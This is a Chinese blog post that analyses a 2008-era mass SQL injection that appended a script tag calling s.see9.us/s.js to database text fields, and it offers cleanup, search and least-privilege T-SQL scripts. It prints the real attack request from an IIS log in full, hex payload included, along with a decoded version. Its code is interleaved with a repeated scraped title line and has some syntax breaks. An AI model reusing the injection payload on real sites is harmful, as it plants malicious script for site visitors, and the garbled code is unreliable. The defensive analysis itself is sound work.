首发csdn:http://topic.csdn.net/u/20090523/19/72041932-b65c-49c1-ad36-d2c63b38b174.html

author:perfectaction
date  :2009.05
适用于sql 2005/2008
从去开始,有很多网站数据库的表的text、ntext、varchar、nvarchar字段内容末尾被加入"> </title> <script src=http://s.see9.us/s.js> <或是3b3.org等字符

我也遇到过,通过分析iis日志,搜索"Update%20",找到很多,如:
2008-**-** 00:17:54 59.39.69.146 - W3SVC1 80 GET show.asp id=8826;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20select%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20where%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('Update%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 302 0 HTTP/1.1 211.68.23.76 Mozilla/4.0 - -

这段代码我还原后如下:

 

分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....declare  @t  varchar(255),@c  varchar(255)  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
declare  table_cursor  cursor  for  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
select  a.name,b.name  from  sysobjects  a,syscolumns  b  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
where  a.iD=b.iD  AnD  a.xtype='u'  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167)  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
open  table_cursor  fetch  next  from  table_cursor  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
into  @t,@c  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
while(@@fetch_status=0)  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
begin  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....    
print('update  [' + @t + ']  set  [' + @c + ']=rtrim(convert(varchar,[' + @c + '])) + cast(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D  aS  varchar(67))')  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....    
fetch  next  from  table_cursor  into  @t,@c  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
end  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
close  table_cursor  deallocate  table_cursor

 

 实事上,上面的print实际为exec..其原理就是通过遍历所有的表中的字符类型字段,然后update其内容,加上攻击者的字符.
同理,若要去掉这些字符,也可以利用上面的代码:

 

分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....declare  @t  varchar(255),@c  varchar(255)  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
declare  table_cursor  cursor  for 
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
select  a.name,b.name  from  sysobjects  a,syscolumns  b  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
where  a.iD=b.iD  AnD  a.xtype='u'
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167)  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
declare @str varchar(500)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
--这里是你要替换的字符
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
set @str='"></title><script src=http://s.see9.us/s.js></script><!--'
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
open  table_cursor  fetch  next  from  table_cursor 
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
into  @t,@c  while(@@fetch_status=0)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
begin
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....    
exec('update  [' + @t + ']  set  [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')      
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....    
fetch  next  from  table_cursor  into  @t,@c
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
end
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
close  table_cursor  deallocate  table_cursor;

 

但事实上,攻击者在update数据库字段时,是采用先截取再加他自己字符的方法,所以对于text/ntext类型,如果你原来的字段内的字符>8000的话,已经无法全部还原成最初状态了.

往往我们还需要看下其它数据库有没有同样被攻击,我写了如下代码:

 

分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....--查某个指定字符出现在哪些表哪些字段:
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
declare @searchstr nvarchar(500)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
set @searchstr ='3b3.org' --这里是你要查的字符内容
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
declare @t  varchar(255),@c  varchar(255
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
create table # (name varchar(256),cols varchar(4000))
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
declare  table_cursor  cursor  for
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
select  a.name,b.name  from  sysobjects  a,syscolumns  b  ,systypes c
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
where  a.id=b.id  and  a.xtype='u' and b.xtype=c.xtype
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
and c.name in ('char','nchar','varchar','nvarchar','text','next')
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
open  table_cursor  fetch  next  from  table_cursor
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
into  @t,@c
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
while(@@fetch_status=0)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
begin  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....    
exec('
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....    set nocount on
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....    if exists(select top 1 1 from  [
' + @t + ']  where  cast([' + @c + '] as varchar(8000)) like ''%'+@searchstr+'%''
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....    begin 
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....        if not exists(select 1 from # where name=
'''+@t+''')
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....            insert into # select 
'''+@t+''','''+@c+'''
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....        else
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....            update # set cols=cols+
'','+@c+''' where name='''+@t+'''
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....        --select 
'+@c+' from [' + @t + ']  where  [' + @c + '] like ''%'+@searchstr+'%''
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....    end
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....    
')
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....    
fetch  next  from  table_cursor  into  @t,@c  
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
end
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
close  table_cursor  deallocate  table_cursor;
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
select name as '表名',cols as '列名' from #
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
drop table #

 

 这段sql可以查到你的哪些表哪些字段包含某个指定字符.

这种sql注入攻击我怀疑应该是一种工具或称为病毒,但始终没有见过,如果哪位朋友有,希望给我一份,谢谢.

 

 针对如上的这种sql注入攻击,如果由于某些原因不能更改程序,那么提供如下解决办法:

分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....--创建测试库
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
create database dbtest
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
go
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
use dbtest
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
go
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
--创建测试表tb_1
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
create table tb_1(
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....id 
int identity(1,1primary key,
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....col1 
char(200),
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....col2 
varchar(300),
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....col3 
text,
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....col4 
ntext,
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....col5 
varchar(max)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
go
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
--创建测试表tb_2
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
create table tb_2(
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....id 
int identity(1,1primary key,
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....col1 
char(200),
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....col2 
varchar(300)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
go
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
insert into tb_1 select 'a','b','c','d','e'
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
go
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
--创建测试视图
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
create view v_tb_1
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
as 
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
select *from tb_1
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
go
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
--创建测试存储过程
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
create proc p_tb_1
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
as
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
select top 1 * from tb_1 order by col2
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
go
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
--创建测试表值函数
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
create function fn_tb_1(@id int)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
returns table
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
return (select * from tb_1 where id=@id)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
go
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
--创建测试标量函数
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
create function fn_tb_1_1(@id int)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
returns varchar(300)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
as
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
begin
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....    
declare @col2 varchar(300)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....    
select @col2 = col2 from tb_1 where id=@id
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....    
return @col2
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
end
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
go
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
--创建login帐号及为其添加安全权限,重要
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
use dbtest
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
go    
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
set nocount on
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
declare @dbname varchar(300),@username varchar(300),@pwd varchar(300)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
select @dbname=db_name(),
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
@username='webuser_dbtest'--
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
@pwd='ExO[!g-k9EQ]#y' --
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
declare @sql varchar(max)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
declare @t table(name varchar(256)) 
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
insert into @t select 'sysobjects'    union all select 'sys.objects ' 
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
union all select 'syscolumns'        union all select 'sys.columns' 
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
union all select 'sys.tables'        union all select 'sys.all_columns' 
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
union all select 'sys.all_objects'    union all select 'sys.indexes' 
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
union all select 'sys.index_columns' 
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
set @sql = 'use master;create login ['+ @username +'] with password = '''+@pwd+''',CHECK_EXPIRATION=OFF, CHECK_POLICY=ON'+char(13)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
set @sql = @sql + 'use ['+@dbname+']; create user ['+@username +'] for login ['+@username+'] with DEFAULT_SCHEMA =dbo'+char(13)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
select @sql = @sql + 'grant select,insert,update,delete on ['+name+'] to ['+@username+']' +char(13from sys.tables where type='u' and is_ms_shipped !=1
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
select @sql = @sql + 'grant exec on ['+name+'] to ['+@username+']' +char(13from sys.procedures  where type='P' and schema_id=1 and is_ms_shipped !=1
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
select @sql = @sql + 'grant exec on ['+name+'] to ['+@username+']' +char(13from sys.objects  where type in ('FN'and is_ms_shipped !=1
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
select @sql = @sql + 'grant select on ['+name+'] to ['+@username+']'  +char(13from sys.objects  where type in ('TF','IF'and is_ms_shipped !=1
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
select @sql = @sql + 'grant select on ['+name+'] to ['+@username+']'  +char(13from sys.views  where type='V' and is_ms_shipped !=1
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
select @sql = @sql + 'deny select on '+name+' to ['+@username+']'  +char(13from @t
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
print(@sql)
分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....
exec(@sql)
*/


这个代码是针对sql 2005/2008.

另外,这个旨在建立较为安全的程序帐号设置.并针对
"网站数据库的表的text、ntext、varchar、nvarchar字段内容末尾被加入"> </title> <script src=http://s.see9.us/s.js> <或是3b3.org等字符 "
这种注入攻击而设计.


不过,真正的防注入,需要程序来实现。

 

相关文章:

  • 2021-12-20
  • 2021-09-17
  • 2021-12-15
  • 2021-05-30
  • 2021-11-23
  • 2021-09-09
  • 2021-10-24
猜你喜欢
  • 2021-10-18
  • 2021-10-25
  • 2022-12-23
  • 2021-09-01
  • 2021-10-22
  • 2021-05-02
相关资源
相似解决方案